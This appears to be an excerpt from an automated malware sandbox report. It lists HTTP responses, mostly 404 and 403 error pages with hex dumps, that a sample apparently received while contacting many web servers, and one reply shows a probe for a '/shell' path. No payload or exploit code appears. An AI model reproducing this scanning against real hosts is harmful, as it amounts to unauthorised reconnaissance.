Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 345Date: Sun, 14 Apr 2024 02:01:12 GMTServer: lighttpd/1.4.20Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:15 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=1, max=100Transfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:17 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:17 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 03:59:29 GMTServer: WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99X-FRAME-OPTIONS: SAMEORIGINData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlStrict-Transport-Security: max-age=31536000; includeSubdomainsX-XSS-Protection: 1; mode=blockContent-Security-Policy: default-src 'self';connect-src 'self' ws: wss:;frame-src 'self' data:;img-src 'self' data:;object-src 'self';font-src 'self' data:;script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';worker-src 'self' blob:;Content-Length: 341Date: Sun, 14 Apr 2024 02:01:33 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:18 GMTServer: Apache/2.4.54 () OpenSSL/1.0.2k-fipsContent-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:18 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:19 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:22 GMTContent-Length: 74Content-Type: text/plain; charset=utf-8Via: 1.1 googleData Raw: 72 65 73 70 6f 6e 73 65 20 34 30 34 20 28 62 61 63 6b 65 6e 64 20 4e 6f 74 46 6f 75 6e 64 29 2c 20 73 65 72 76 69 63 65 20 72 75 6c 65 73 20 66 6f 72 20 74 68 65 20 70 61 74 68 20 6e 6f 6e 2d 65 78 69 73 74 65 6e 74 20 0a Data Ascii: response 404 (backend NotFound), service rules for the path non-existent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundTransfer-Encoding: chunkedServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:01:18 GMTData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:22 GMTServer: Apache/2.4.56 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:22 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:24 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:24 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:22 GMTServer: Apache/2.4.56 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:25 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:01:25 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 22:01:27 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 14 Apr 2024 02:01:28 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:30 GMTServer: ApacheContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not 